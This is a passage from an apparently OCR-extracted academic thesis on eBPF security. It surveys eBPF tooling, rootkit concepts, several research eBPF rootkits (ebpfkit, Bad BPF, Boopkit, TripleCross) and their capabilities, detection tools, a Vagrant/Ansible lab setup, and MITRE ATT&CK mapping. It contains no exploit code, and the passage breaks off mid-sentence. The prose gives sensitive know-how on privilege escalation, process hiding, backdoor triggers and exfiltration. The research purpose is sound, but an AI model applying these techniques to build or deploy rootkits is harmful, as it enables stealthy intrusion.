e Information Theft. The bpf_probe_read_user helper to access memory of other
processes.

e Denial of Service (DoS). It is possible to crash or kill key services like systemd with
bpf_override_return, bpf_send_signal and bpf_probe_write_user .

e Map Tampering. The bpf_map_get_fd_by_id helper is used to access and alter
global data structures shared between eBPF programs.

Despite eBPF’s power, current Linux capabilities cannot restrict its use finely enough, and
disabling it system-wide is infeasible. Notably, many cloud platforms and services still
expose eBPF features:

e Among cloud shells and serverless containers, Google Cloud Shell and customized
Kubernetes clusters (e.g., Amazon Elastic Kubernetes Service (EKS), Azure Kuber-
netes Service (AKS)) are particularly vulnerable.

e Cross-node attacks are possible in EKS, AKS, and Alibaba Cloud Container Service
for Kubernetes, due to over-privileged operator pods.

To mitigate these risks, it is proposed to replace CAP_SYS_ADMIN with more granular ca-
pabilities such as CAP_BPF, CAP_NET_ADMIN, and CAP_PERFMON, better aligning privileges
with eBPF program intent and reducing attack surface.

2.1.7 eBPF Tools

A variety of tools and libraries have emerged to support the development and deployment
of eBPF programs, each offering different trade-offs in terms of performance, usability, and
portability. While Clang and LLVM serve as the standard toolchain for compiling eBPF
bytecode, frameworks like BCC and libbpf simplify program loading and interaction
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with the Linux kernel. Additionally, language-specific libraries for Go, Rust, and Python
further broaden the accessibility of eBPF, enabling developers to build applications using
familiar ecosystems.

LLVM/Clang [4] provides the essential compiler infrastructure for translating C-like eBPF
programs into executable bytecode. As the standard eBPF compiler, Clang generates
ELF files containing all necessary metadata for frameworks like BCC and 1ibbpf to load
programs into the Linux kernel efficiently. This compilation process ensures compatibility
and streamlines eBPF development [62].

2.1.7.1 BCC

As explained in [62], the BCC [18] represents a comprehensive suite of tools and resources
designed to facilitate the development and deployment of programs aimed at monitoring
and manipulating the Linux kernel. Built upon the eBPF framework, BCC provides a
range of command-line utilities and example scripts that streamline interaction with the
kernel. Furthermore, it incorporates a library that enables seamless integration of eBPF
functionality into applications written in C, Python, and Lua.

Despite its versatility and user-friendly design, BCC exhibits certain limitations when
compared to alternative eBPF-based libraries. Notably, it requires the installation of Linux
kernel header packages on the host system, a requirement that imposes constraints on
portability, particularly when transitioning across systems operating with different kernel
versions. Additionally, this dependency contributes to an increase in the overall package
size once compiled, which may present challenges in resource-constrained environments.

2.1.7.2 libbpf

The article [62] continues to describe eBPF development toolchains with libbpf [22],
a robust framework for the development of BPF programs, providing a C library that
facilitates the compilation and loading of BPF applications while also executing tasks
previously handled via BCC and Python. As an integral component of the Linux kernel,
1libbpf serves as the foundational library utilized by kernel developers for the construction
of BPF programs, ensuring broad support across multiple kernel versions. Consequently,
its usage enhances synchronization with kernel modifications, reducing compatibility
concerns that arise from evolving system architectures.

A distinguishing feature of 1ibbpf lies in its elimination of dependencies on Clang/LLVM
or Linux kernel headers during execution. Compilation is performed exclusively at
development time, resulting in a reduced storage and memory footprint for eBPF-based
tools. This approach mitigates runtime overhead and enhances efficiency in constrained
computing environments.

The eBPF documentation in [3| draws the attention to the fact that 1ibbpf enables
Compile Once, Run Everywhere (CO-RE) functionality for eBPF programs by leveraging
BTF metadata. This approach eliminates the need for kernel headers, ensuring portability
across different Linux kernel versions. libbpf dynamically adjusts eBPF programs by
extracting type information from the running kernel and applying relocations generated
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by Clang. By serving as both a CO-RE library and loader, 1ibbpf ensures seamless
execution of eBPF applications despite structural changes in kernel memory layouts.

However, while 1ibbpf enables the compilation of eBPF programs for execution across
diverse Linux kernel versions, its flexibility raises fundamental concerns regarding program
portability. Specifically, certain eBPF programs interact with internal kernel structures
that are subject to significant variation across kernel iterations. These discrepancies may
affect the reliability and functionality of BPF applications, necessitating careful design
considerations to ensure adaptability within heterogeneous system landscapes.

2.1.7.3 bpftool

bpftool [21] is a utility designed to operate exclusively on Linux systems, as its underly-
ing build process and functionalities are dependent on Linux-specific headers and tools.
Regarding its operational capabilities, bpftool serves as a versatile tool for interacting
with BPF programs and objects within the Linux kernel environment. One of its primary
functions involves the dumping of JIT-compiled program instructions. This capability
allows bpftool to display the compiled machine code of BPF programs after they have
been JIT compiled by the kernel. The tool is also capable of probing system features re-
lated to BPF, enabling it to ascertain and report on the system’s BPF-specific capabilities.

Moreover, bpftool is equipped to profile BPF programs and identify the PIDs of processes
that are referencing BPF objects. These advanced analytical features rely on kernel BTF
information and can also utilize clang/LLVM. This indicates that bpftool plays a crucial
role in the deep analysis, debugging, and monitoring of BPF program execution, providing
insights into their behavior and interactions within the operating system. Listing 4 shows
a few examples of the capabilities of bpftool [2].

# eBPF trace logs
sudo bpftool prog trace log

# eBPF programs currently loaded into the kermnel
sudo bpftool prog list

# Network-related eBPF programs
sudo bpftool net list

Listing 4: Common eBPF bpftool commands for tracing, listing programs, and inspecting
network-related eBPF programs

Note that bpftool requires sudo privileges to operate. This tool provides extensive vis-
ibility into the eBPF subsystem, also including detailed information about specific eBPF
programs (ID, name,tag), as well as a comprehensive list of all eBPF maps and metadata
associated with each one, etc.

2.1.7.4 Additional tools

This article [42] provides an overview of the programming languages and tools commonly
used in eBPF application development. The choice of stack depends on performance re-
quirements, ease of development, and the application’s context.
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e Go with cilium/ebpf and 1ibbpfgo. Go is widely used in cloud-native environments.
The cilium/ebpf library is a pure-Go implementation, while 1ibbpfgo provides Go
bindings for 1ibbpf, enabling integration with C-based eBPF programs.

e Rust with aya and 1libbpf-rs. Rust is gaining popularity due to its memory safety
and performance. Aya is a native Rust library for eBPF development, aiming to
reach feature parity with 1ibbpf. 1ibbpf-rs offers Rust bindings for 1ibbpf.

e Python, Lua, and C++ with BCC. The BCC supports high-level development in
Python, Lua, and C+-+. It simplifies development by compiling and loading programs
at runtime. However, BCC has a large footprint and introduces runtime delays.
Python bindings in particular are now considered deprecated.

e bpftrace. Ideal for quick and expressive tracing, bpftrace offers a high-level lan-
guage inspired by awk and C. It is commonly used for writing short scripts to trace

kernel-level events with minimal setup.

Each toolset offers unique advantages, and selecting the right one depends on the specific
needs and constraints of the eBPF application being developed.

2.2 Rootkits

Rootkits are described in the Mittre ATT&CK framework [34] as a technique related
to the Defense Evasion tactic, allowing adversaries to conceal the presence of malicious
programs, files, network connections, services, drivers, and other system components. They
achieve this by intercepting and modifying operating system API calls that provide system
information. Rootkits can operate at various levels, including user space, kernel space, or
even lower layers such as hypervisors, the Master Boot Record, or system firmware, making
them a versatile and persistent threat across multiple platforms, including Windows, Linux,

and macOS.

2.2.1 Generals

Rootkits are a form of malware specifically engineered to provide an attacker with
complete control at the highest privilege level over a target computer, all while taking
measures to hide their presence on the host system. They are typically utilized during
the final stage of exploitation, after initial access and control have been achieved,
enabling persistent access and concealment of files, processes, and other indicators
of compromise. Common post-exploitation activities facilitated by rootkits include re-
mote access via backdoors, data retrieval, opening shells, file transfers, and keylogging [52].

The term "rootkit" originated from malicious sets of UNIX tools used to escalate privileges
to "root", but modern rootkits have evolved to prioritize a balance between stealth and
functionality. Despite their UNIX origins, rootkits are now universal and can be installed
and used on any platform, with implementations available for nearly every system. Their
utility to attackers ensures they remain a relevant threat, even in developing environments
such as the Internet of Things (IoT) [52].

At their core, rootkits operate by exploiting the permission rings (or protection rings) that
operating systems use to hierarchically manage access privileges. Most modern operating
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systems, like Linux, simplify this into two main modes: kernel mode (Ring 0), which
grants full access to all memory, and user mode (userland) (Ring 3), where applications
have limited permissions but can request system access via the kernel interface. Rootkits
achieve their stealth and control by hooking system calls. By intercepting and manipulating
the information returned from these calls, rootkits can effectively control what a system
administrator sees or what information is presented by the system [52].

Rootkits can be broadly categorized based on where they operate within these permission
rings: userland rootkits and kernel rootkits. Userland rootkits, which operate at the user
mode, are generally simpler to implement but are often too limited in functionality to
be broadly useful for comprehensive attacks and are easier to detect. In contrast, kernel
rootkits operate at the highly privileged kernel mode (Ring 0), granting them total access
to memory and the ability to manipulate fundamental system calls. While significantly
more complex to implement, kernel rootkits are far more powerful and effective and are
harder to hide due to their deep-level operation [52].

2.2.2 eBPF Rootkits

Recently, several advanced malicious rootkits have emerged [66] that leverage eBPF. Some
are entirely built around eBPF capabilities, while others integrate eBPF selectively along-
side traditional, non-eBPF techniques to enhance stealth and functionality. Examples
include:

e ebpfkit: Rootkit that leverages multiple eBPF features to implement offensive se-
curity techniques [15].

e Bad BPF': Collection of malicious eBPF programs that make use of eBPF’s ability
to read and write user data in between the usermode program and the kernel [23].

e Boopkit: Rootkit and backdoor [23].

e TripleCross: Rootkit that demonstrates the offensive capabilities of the eBPF tech-
nology [17].

e Symbiote: Highly evasive Linux malware that infects running processes to hide
itself and other malicious activity, and it utilizes eBPF to conceal its network traffic
by injecting bytecode into the kernel [41].

e BPFDoor: Stealthy, rootkit-like backdoor malware used for cyberespionage that
uses classic BPF for its evasion techniques [40].

e evilBPF: Collection of eBPF and XDP programs intended for security research,
demonstrating how the Linux kernel can be weaponized using eBPF to hide files/pro-
cesses, create SSH backdoors, and sniff SSL traffic [24].

e Bvp47: Top-tier backdoor of the US NSA’s Equation Group that operates on the
Linux platform and integrates an advanced BPF engine to establish a covert com-
munication channel by filtering specific TCP SYN (and UDP) packets at the kernel
level to evade detection [57].
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2.2.3 eBPF Rootkits Detection

As eBPF becomes increasingly integrated into modern Linux systems, a new wave of
security tools has emerged to detect and defend against kernel-level threats. From
monitoring runtime behavior to recovering from rootkit tampering, these solutions present
an aspect of eBPF in safeguarding system integrity.

Tracee, developed by Aqua Security [66], is a Linux runtime security and forensics tool
built on eBPF. It monitors system and application calls directly from the kernel without
needing prior instrumentation. One key feature is the BPF attach event, which is triggered
whenever an eBPF program is attached to a kprobe, uprobe, or tracepoint. This event
provides details such as the program’s type, name, ID, and the helper functions it uses,
offering visibility into eBPF activity in the system.

ebpfkit-monitor is a tool designed to detect the eBPF-based rootkit ebpfkit. It can
operate in two modes: static analysis of eBPF bytecode and runtime monitoring of eBPF
program loading. By inspecting how and when eBPF programs are loaded into the kernel,
it identifies suspicious behavior that may indicate rootkit activity, making it a valuable
resource for eBPF threat detection [66] [16].

drootkit is a detection and recovery tool targeting kernel-level rootkits that hook system
calls, a common and dangerous technique due to the high privileges of kernel space.
Leveraging eBPF, drootkit performs bounds checking on all system calls to identify
unauthorized modifications. When a hooked system call is detected, it can restore the
original function and issue a warning, helping maintain system integrity. The tool is
designed to be lightweight, introducing minimal performance overhead, and is suitable for
long-term deployment. To validate its effectiveness, the authors implemented a malicious
kernel module on the arm64 platform, demonstrating drootkit’s ability to detect and
recover from rootkit-induced damage [56].

Tools such as Tracee, ebpfkit-monitor, and drootkit contribute to the growing ecosys-
tem of eBPF-based security solutions. While Tracee and ebpfkit-monitor focus on runtime
monitoring and pre-execution detection, drootkit targets kernel-level rootkits that have
already modified system behavior. In addition to these tools, recent research [66] has
proposed a hypervisor-based approach for extracting reliable memory snapshots, enabling
offline forensic analysis on a separate, trusted machine. Together, these methods represent
complementary strategies for enhancing system security and rootkit detection.

2.3 Vagrant

Note: This section was originally conceived as part of a broader effort to automate the
development of eBPF programs. While the conceptual framework and motivation remain
relevant, the implementation phase did not reach a level of maturity suitable for presen-
tation in this thesis. As such, the section serves to document the underlying idea and its
potential, rather than a completed or functional solution.

Developed by the HashiCorp company, and as stated on their official website [31], Vagrant
is a tool for building complete development environments. With an easy-to-use workflow
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and focus on automation, Vagrant lowers development environment setup time, increases
development /production parity, ensuring seamless compatibility across multiple platforms
and environments, regardless of the underlying system configuration.

2.3.1 Generals

The Vagrant documentation [7] is helpful in order to grasp its main concepts that are
developed in this section.

2.3.1.1 Boxes

Vagrant boxes are portable base images used to create consistent development environ-
ments across platforms. They are defined in the Vagrantfile and versioned for team use.
Boxes need a virtualization provider (e.g., VirtualBox, VMware) installed to function. It
is possible to use either pre-defined boxes from Vagrant Cloud or upload/share one’s own.
Vagrant Cloud hosts a catalog of OS images and pre-configured stacks (e.g., LAMP, etc.).
Supported providers are listed in each box’s description. Boxes can be added from the
catalog via the command line. Popular boxes include:

e hashicorp/bionic64: a minimal Ubuntu 18.04 box officially published by
HashiCorp.

e Bento Boxes. Maintained by the Bento project, support multiple OSes and providers
(VirtualBoz, VMuware, Parallels).

e Ubuntu’s Canonical Boxes. Under the ubuntu namespace, they support Virtual-
Box only.

The Vagrant box CLI handles all box-related tasks. Documentation is available via the
command vagrant box --help.

2.3.1.2 Vagrantfile

The Vagrantfile defines the Virtual Machine (VM) specifications and how to configure
and provision it for a project. It should be version-controlled for reproducibility. Writ-
ten in Ruby syntax, though Ruby knowledge isn’t required, most usage involves simple
variable assignment. By default, Vagrant searches for a Vagrantfile by walking up the
directory tree from the current directory. This behavior can be overwritten by setting the
VAGRANT_CWD environment variable.

2.3.1.3 Provisioning

Provisioners automate software installation and configuration when running vagrant up,
creating reproducible, hands-free development environments. Provisioning has several ben-
efits, such as making box customization automatic and repeatable, avoiding manual setup
via vagrant ssh and allowing vagrant destroy and vagrant up to fully recreate the
environment in one step. There are many provisioning methods. While beginners are
encouraged to start with shell scripts, it is possible to use full-fledged configuration man-
agement tools (e.g., Ansible, Puppet) which is what will be achieved in the context of this
work.
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2.3.1.4 Synced Folders

Synced folders in Vagrant mirror a directory from the host machine to the guest machine,
enabling files to be edited on the host while utilizing the guest’s environment for building
or executing the project. By default, the project directory containing the Vagrantfile is
shared to the /vagrant directory inside the guest machine.

2.3.1.5 Networking

Vagrant provides high-level networking options such as port forwarding, public and private
network connections, designed to work consistently across different providers like Virtual-
Box or VMware. While advanced users can configure provider-specific networking settings,
such configurations can lead to issues if misused, especially for beginners. Vagrant also
assumes a NAT device is available on ethO for reliable communication with the guest.
However, in the context of this work, Vagrant’s networking features will not be used.

2.3.2 Advantages of Using Vagrant

Vagrant brings several crucial advantages to the development of a ready-to-go eBPF
rootkit environment. As explained in [31], first and foremost, it enables fully reproducible
environments, ensuring that anyone interacting with the project, whether developers,
testers, or reviewers, spins up the exact same configuration every time. This consistency
is vital in the context of kernel-level code, where even slight differences in system setup
can lead to unpredictable behavior or break functionality entirely.

The disposable nature of Vagrant environments is particularly useful for rootkit devel-
opment, where frequent crashes or system reboots are common. A broken system can
be quickly reset with vagrant destroy && vagrant up, ensuring a clean state for each
test cycle. The project’s dependencies and tooling are fully isolated inside the virtual
machine, keeping the host system untouched, which is a valuable safeguard when working

with low-level or potentially unstable code.

While Vagrant is not the only tool available for managing development environments, it
stands out in several respects. Compared to Docker, Vagrant provides better support
for full operating system virtualization, which is essential for accurately replicating
kernel-level environments, particularly when containerization is insufficient due to missing
features or platform incompatibilities (e.g., BSD systems). Vagrant also offers features
beyond what is typically needed for microservice-oriented container workflows, such as
automatic SSH setup, synced folders, HT'TP tunneling, and multiple provisioner support,
all within a single configuration file.

Furthermore, in contrast to Terraform, another HashiCorp tool, Vagrant is explicitly tar-
geted at local development environments rather than remote infrastructure management.
Terraform excels at provisioning and maintaining large-scale infrastructure across multi-
ple cloud providers, but lacks the fine-grained, development-focused features that Vagrant
provides out of the box. Therefore, for localized and reproducible kernel development
scenarios such as eBPF rootkits, Vagrant remains a more appropriate choice.

23



2.3.3 Ansible

Ansible is described in its documentation [12] as an open-source automation tool designed
to manage remote systems and enforce their desired configuration state in a consistent
and repeatable manner. It is widely adopted due to its simplicity, flexibility, and agentless
architecture. A typical Ansible environment consists of three primary components:

e Control node. The system on which Ansible is installed and from which commands
are issued. All Ansible-related operations, such as executing playbooks or manag-
ing inventories, are performed from the control node using tools like ansible and
ansible-inventory.

e Inventory. A structured list of managed nodes, often organized logically into groups.
The inventory, defined on the control node, provides Ansible with the necessary
information to locate and describe the systems it will manage.

e Managed node. A remote host under Ansible’s control. These are the systems whose
configuration, software, or state is managed via instructions issued from the control
node.

Ansible supports a broad range of automation tasks, including the elimination of repeti-
tive commands, streamlining workflows, managing system configurations, deploying com-
plex software stacks, and conducting rolling updates with zero downtime. Automation is
described through playbooks, simple, human-readable yaml files that define the intended
state of a system. Ansible ensures that managed nodes conform to these states, making
it a powerful tool for maintaining consistency across environments. As an automation
framework, Ansible is built around several core principles:

e Agentless architecture: Managed nodes require no additional software installa-
tions; communication is performed using standard protocols like SSH, reducing main-
tenance overhead.

e Simplicity: Playbooks are written in a declarative YAML syntax that is easy to
understand, making automation accessible and readable like documentation.

e Scalability and flexibility: Ansible’s modular design supports a wide range of
operating systems, cloud providers, and network infrastructure, allowing it to scale
efficiently across heterogeneous environments.

e Idempotence and predictability: Ansible ensures that running the same play-
book multiple times will not result in unintended changes. If the system is already
in the desired state, no further actions are performed.

These features make Ansible particularly well-suited for scenarios requiring reproducible
and controlled system states, such as setting up a ready-to-go environment for low-level
experimentation like eBPF rootkit development.

2.4 The MITRE ATT&CK Framework

Here’s how MITRE defines its ATT&CK Framework: MITRE ATT&CK® is a
globally-accessible knowledge base of adversary tactics and techniques based on real-world
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observations. The ATTECK knowledge base is used as a foundation for the development
of specific threat models and methodologies in the private sector, in government, and in

the cybersecurity product and service community [43].

In other words, The MITRE ATT&CK framework is introduced here as a reference for
understanding how adversaries operate across various stages of an attack lifecycle. Its
structured taxonomy of tactics and techniques offers a consistent lens through which
malicious capabilities, such as those found in rootkits, can be examined and compared.
By aligning observed behaviors with ATT&CK classifications, it becomes easier to
draw a clearer view of the functional roles these tools play in real-world intrusions, par-

ticularly in some specific areas such as persistence, privilege escalation, and defense evasion.

The name ATT&CK stands for Adversarial Tactics, Techniques, and Common Knowledge
[37].

e Tactics are the "why" of an attack technique. They represent a modern approach to
cyberattacks by identifying indicators that an attack is in progress, rather than just
post-attack indicators of compromise. The Enterprise ATT&CK matrix features 14
tactics: Reconnaissance, Resource Development, Initial Access, Execution, Persis-
tence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral
Movement, C2, Collection, Exfiltration, and Impact.

e Techniques represent "how" attackers execute a specific tactic. Each tactic includes
a set of techniques observed to be used by malware and threat actors. The Enter-
prise ATT&CK matrix currently includes 185 techniques and 367 sub-techniques,
with continuous additions. Each technique is identified by a four-digit code and pro-
vides specific details such as required privileges, common platforms, and methods for
detecting associated commands or activities.

e Common Knowledge (CK) refers to the documented use of tactics and techniques by
adversaries, essentially providing the procedures (P) in what is commonly known as
Tactics, Techniques, and Procedures (TTP).
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Chapter 3
Feature Selection Based on MITRE
ATT&CK Analysis

3.1 Motivation

MITRE ATT&CK categorizes rootkits under the Defense Evasion technique (T1014) which
is described that way:

Adversaries may use rootkits to hide the presence of programs, files, net-
work connections, services, drivers and other system components. Rootkits are
programs that hide the existence of malware by intercepting/hooking and modi-
fying operating system API calls that supply system information.

Rootkits or rootkit enabling functionality may reside at the user or kernel level
in the operating system or lower, to include a hypervisor, Master Boot Record,
or System Firmware. Rootkits have been seen for Windows, Linux and Mac OS
X systems.

That description captures the essence of rootkit behavior, but does not capture the full
operational potential of modern rootkits. Due to their flexibility and programmable
nature, eBPF rootkits are being used to support multiple attacker objectives, among
the 14 tactics that are gathered inside the MITRE ATT&CK framework. For this work,
one key contribution lies in the systematic characterization of rootkit techniques through
the lens of the MITRE ATT&CK framework. By associating each rootkit technique
with the corresponding ATT&CK techniques it uses, this mapping enables a structured
and standardized understanding of how rootkits operate within the broader context of
adversarial tactics and techniques.

By examining the sub-techniques associated with each mapped ATT&CK technique, we
can identify potential implementation pathways that may not be immediately evident
from the rootkit’s observable behavior. This kind of comparison helps expand our
understanding of what rootkits can do and gives us more ideas about the different
sub-techniques they might use, which may help for anticipating future evolutions in
rootkit design, especially as adversaries adapt and innovate within the constraints of
known detection mechanisms.

Beyond what is implemented, this mapping also reveals which ATT&CK techniques are
not currently used by a given rootkit. This opens up research questions such as why
certain techniques are absent. Is it because they are technically infeasible, less effective, or
simply unexplored? Investigating these gaps can lead to deeper insights into rootkit design
choices, limitations and future directions. It also helps research anticipating how rootkits

might evolve and adapt, especially in response to detection and mitigation strategies.
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3.2 Methodology

Before establishing a detailed mapping between MITRE ATT&CK techniques and eBPF
rootkit implementations, the first essential step is to determine which of the 14 MITRE
ATT&CK tactics are relevant to the behavior and objectives of eBPF-based rootkits.
Since each tactic represents a distinct phase or goal in an adversary’s operation, from
initial access to impact, it is necessary to identify which of these phases align with the
functionality observed in eBPF rootkits.

This initial filtering ensures that the technique-level mapping remains focused and mean-
ingful. By narrowing the scope to only the tactics that are applicable, the analysis avoids
overgeneralization and highlights the specific adversarial goals that eBPF rootkits are de-
signed to support. Once the relevant tactics are selected, each can be examined in detail to
identify the corresponding techniques and that may be implemented or emulated by eBPF
mechanisms.

3.2.1 Rootkit Selection

Among the rootkits that leverage eBPF (cf. 2.2.2), an initial filtering step focuses on those
developed explicitly for research purposes, as these tend to be the most thoroughly docu-
mented. This criterion narrows the scope to four notable examples: ebpfkit, Bad BPF,
boopkit and TripleCross. Each of these rootkits provides source code and technical doc-
umentation intended to explore the offensive capabilities of eBPF, making them valuable
case studies for understanding modern kernel-level threats.

3.2.1.1 ebpfkit

ebpfkit is a rootkit powered by eBPF, designed to implement a variety of offensive security
techniques. It was developed by security engineers at Datadog as an independent security
research project for educational purposes, giving a clear look at ethical hacking, security
and penetration testing using eBPF. The project’s source code, including both the Golang
code and the eBPF programs, is available on GitHub [15].

The rootkit utilizes eBPF’s ability to run sandboxed programs directly in the Linux
kernel without requiring kernel source code changes or loading kernel modules. ebpfkit
incorporates a wide range of features usually expected from a rootkit. These include
obfuscation techniques to hide its own process, eBPF programs and maps, from detection.
It achieves persistent access by copying itself to critical system locations or overriding
the content of sensitive files and it can also establish persistent access to application
databases [48].

ebpfkit facilitates C2, allowing attackers to send commands, exfiltrate data and gain
remote access to infected hosts by hijacking existing network connections. It supports
data exfiltration of almost anything accessible to eBPF programs, such as file content,
environment variables, or database dumps, by sharing data through eBPF maps across
different program types. The rootkit also provides network discovery features, including
passive network monitoring and active ARP and SYN scanning and can bypass Runtime
Application Self-Protection (RASP) by manipulating function inputs to present benign
queries to the RASP while executing malicious ones on the database [48]. The developers

27



emphasize that while eBPF provides safety guarantees preventing crashes and limiting
performance impact, these should not lead to a false sense of security regarding potential
misuse [38].

There is a technical overview [27] of ebpfkit’s architecture, components and functional-
ity, specifically designed for researchers and security professionals studying eBPF-based
security tools, explaining how ebpfkit can achieve sophisticated rootkit capabilities such
as file system manipulation, network traffic interception, process hiding and credential
interception.

3.2.1.2 Bad BPF

Bad BPF is a collection of open-source eBPF programs that demonstrate various malicious
behaviors and offensive techniques, which were presented at DEF CON 29. Developed
by Pat, known as PatHToFile, it aims to illustrate how eBPF can be leveraged by
attackers to create next-generation Linux rootkits that are both powerful and difficult
to detect, while also providing insights into how to counter them. The project includes
documentation and comments to help users understanding the underlying mechanisms [54].

The core functionality of Bad BPF relies on eBPF’s ability to intercept and manipulate
data exchanged between user space programs and the Linux kernel. By attaching eBPF
programs to syscalls, Bad BPF can read and write to user space memory buffers before
the data is seen by the legitimate program or returned by the kernel. This allows it
to effectively "warp reality" by presenting different versions of information to different
programs or users, such as making a program believe a file contains certain data when it
doesn’t, or altering network traffic [53].

Specific examples of malicious behaviour demonstrated by Bad BPF programs include
Sudo-Add, which enables a low-privileged user to gain root access by faking the contents
of the /etc/sudoers file for the sudo process. Text-Replace allows the alteration of
arbitrary text in files, useful for hiding kernel modules or spoofing MAC addresses to bypass
anti-sandbox checks. Other tools, like Pid-Hide, can conceal processes from visibility
tools such as ps and BPF-Dos can kill investigative programs like strace or bpftool that
attempt to monitor eBPF activity, demonstrating self-protection capabilities. Additionally,
Exec-Hijack can redirect execve calls to launch different programs and Write-Blocker
can prevent a process from writing to a file by faking the syscall’s return value. These
programs are designed to be specific in their targeting, for instance, affecting only child
processes of a particular PID, or only when a specific user runs a command, making them
more stealthy [23].

3.2.1.3 Boopkit

Boopkit is a Linux rootkit and backdoor built by Kris Nova using eBPF technology. It
is designed as a Proof of Concept (PoC) white hat tool for security research and testing,
requiring prior privileged access to a server to function. The primary goal of Boopkit
is to spawn reverse shells and enable Remote Code Execution (RCE) over raw TCP. It
has been tested on Linux kernels 5.16 and 5.17 and can achieve RCE over various TCP
services like SSH, Nginx and Kubernetes [20].
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Boopkit operates through a client-server model, consisting of the boopkit-boop client
tool for the attacker’s machine and the boopkit server program that runs on the victim’s
machine. The server program loads eBPF probes dynamically into the kernel [29]. It
leverages two main "boop" vectors to trigger remote command execution: first, by sending
a malformed TCP SYN packet with an empty checksum over a SOCK_RAW socket, which
triggers Boopkit regardless of TCP services running. Second, if the first method is
dropped by modern network hardware, it can perform a valid TCP handshake and then
repeat the process, flipping the TCP reset flag in the packet to trigger a TCP reset on the
server. Either tactic is sufficient to trigger Boopkit [20].

Once active, Boopkit aims for self-obfuscation at runtime, primarily through eBPF pro-
cess hiding and PID obfuscation [20]. It can hook getdents64() syscalls to prevent its
directory from being listed and hide its PID from conventional tools like ps or top. The
server program constantly checks an eBPF map area for commands sent via TCP packets
and executes them. This allows an attacker to gain full remote control, with commands
executed even before the packet reaches the firewall layer. While it tries to hide, tools like
bpftool can reveal Boopkit’s PID and loaded eBPF programs, offering a way to detect its
presence [29].

3.2.1.4 TripleCross

TripleCross is a Linux eBPF rootkit developed by Marcos Bajo as part of a bachelor’s
thesis, under the supervision of Dr. Juan Tapiador. Its core purpose is to demonstrate
and analyze the offensive capabilities of eBPF technology, showcasing how it can be
weaponized by malicious actors for various cyberattacks [50]. The project aims to
educate the cybersecurity community about the potential security threats posed by eBPF
programs, which are increasingly prevalent and often enabled by default on modern
systems, unlike traditional LKMs [39]. It is clearly stated that TripleCross is intended
purely for educational and academic purposes and should not be used to violate any
laws [17].

The rootkit integrates a comprehensive set of malicious capabilities. It features a library
injection module that can hijack the execution of running processes by overwriting
sections of their virtual memory, specifically targeting the Global Offset Table (GOT).
This module is designed to bypass common exploit mitigations such as Address Space
Layout Randomization (ASLR), Data Execution Prevention/No Execute (DEP/NX),
Position Independent Executables (PIE) and Relocation Read-Only (RelRO) protections.
Additionally, its execution hijacking module modifies arguments passed to kernel system
calls (like sys_execve) to run malicious programs instead of the intended ones, while
ensuring the original program also executes to maintain stealth. TripleCross also includes
a local privilege escalation module, which achieves root privileges by tampering with the
data read from system files like /etc/sudoers, allowing unprivileged processes to run as
root without a password [50].

For C2, TripleCross implements a backdoor that leverages eBPF’s XDP and TC pro-
grams to monitor and manipulate both incoming and outgoing network traffic. This C2
system supports various stealthy backdoor triggers, including pattern-based and multi-
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packet triggers, drawing inspiration from real-world rootkits such as Bvp47 and CIA Hive.
The rootkit’s persistence module ensures that it remains installed and retains full privi-
leges even after a system reboot, by modifying cron and sudo system configurations. A
dedicated stealth module is also incorporated to hide rootkit-related files and directories
from detection by manipulating sys_getdents() system calls. TripleCross builds upon
and extends previous research in offensive eBPF from researchers like Jeff Dileo and Pat
Hogan and other eBPF rootkits such as ebpfkit and Boopkit, while also introducing novel
techniques [50].

3.2.1.5 Reference Rootkit

While Bad BPF and Boopkit contribute to understanding eBPF-based offensive capa-
bilities, they are not the optimal choices for gaining a broad idea of different MITRE
ATT&CK techniques, especially when compared to more comprehensive rootkits like
TripleCross and ebpfkit.

Bad BPF is primarily a collection of individual tools that demonstrate specific malicious
eBPF behaviors, rather than a single, integrated rootkit designed to illustrate a full attack
chain. Its functionalities include hiding processes from ps, replacing arbitrary text in
virtual file systems, enabling low-privileged users to escalate to root via sudo and blocking
ptrace syscalls. While these techniques align with specific ATT&CK tactics (e.g., Defense
Evasion, Privilege Escalation), Bad BPF’s modular nature means it doesn’t provide a
cohesive demonstration of diverse attack scenarios or a wide range of tactics beyond these
isolated actions. Its resources include a GitHub repository, a DEF CON 29 presentation
and a blog post.

Boopkit, conversely, was developed with a very specific concern: demonstrating server
exploitation via a single SYN packet for remote command execution over TCP. Its primary
"Boop Vectors" are malformed TCP SYN packets with an empty checksum or SYN packets
with the RST flag. While it shows self-obfuscation by hiding its PID from ps and top and
network gateway bypass, its highly specialized design for this particular network-triggered
remote code execution limits its ability to showcase the breadth of ATT&CK techniques.
It doesn’t, for instance, delve into various persistence mechanisms (beyond its unique re-
mote execution method), sophisticated data exfiltration, or a broader spectrum of defense
evasion techniques not tied to its unique network triggers. As indicated in Table 3.1,
Boopkit has a GitHub repository, a DevOpsDays Conference presentation and side articles.

Both TripleCross and ebpfkit are valuable for learning about eBPF-based rootkits and
offensive techniques.

TripleCross is a strong choice because it offers a comprehensive demonstration of core
rootkit functionalities. These include library injection, execution hijacking, local privilege
escalation, persistence (e.g., via cron.d and sudoers.d) and stealth (hiding files and di-
rectories). It was developed for a Bachelor’s Thesis and explicitly designed for educational
and academic purposes, aligning its features with various MITRE ATT&CK tactics like
Persistence and Privilege Escalation. As shown in Table 3.1, it has a dedicated GitHub
repository and an accompanying Bachelor’s Thesis document.
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However, ebpfkit is more interesting for understanding different MITRE ATT&CK tech-
niques primarily because it explicitly demonstrates and highlights capabilities like container
breakouts and RASP bypasses, which represent distinct and modern attack vectors. At
BlackHat USA 2021, ebpfkit presented techniques such as escaping containers through
pipes and performing "Docker shenanigans" by using Uprobes on the Docker Daemon to
swap container images at runtime. It also showed how to bypass RASP protections by
hooking application functions with Uprobes to modify arguments, enabling attacks like
SQL injection. These capabilities expand the scope of observable MITRE ATT&CK tech-
niques beyond traditional rootkit functions, delving into cloud-native and application-level
security attacks. Like TripleCross, ebpfkit is well-documented with a GitHub repository,
DEF CON presentation and BlackHat documentation, as seen in Table 3.1.

Rootkit Repository Presentation Report Additional
work
DEF CON 29 [48] ebpfkit-

ebpfkit github [15] (including demo | Documentation [27]
and slides [38])
DEF CON 29 [54]

monitor [16]

Bad BPF github [23] (including demo Blog Post [53] /
and slides [55])
. . DevOpsDays (side articles
boopkit github [20] Conference [61] [29] [44)) /
cilium YouTube
TripleCross | github [17] Channel [39] Bachelor Thesis [50] /

(including demo)

Table 3.1: Availability of Source Types for Selected eBPF Rootkits

3.2.2 Tactics Selection

The selection of Persistence, Privilege Escalation, Defense Evasion, Credential Access,
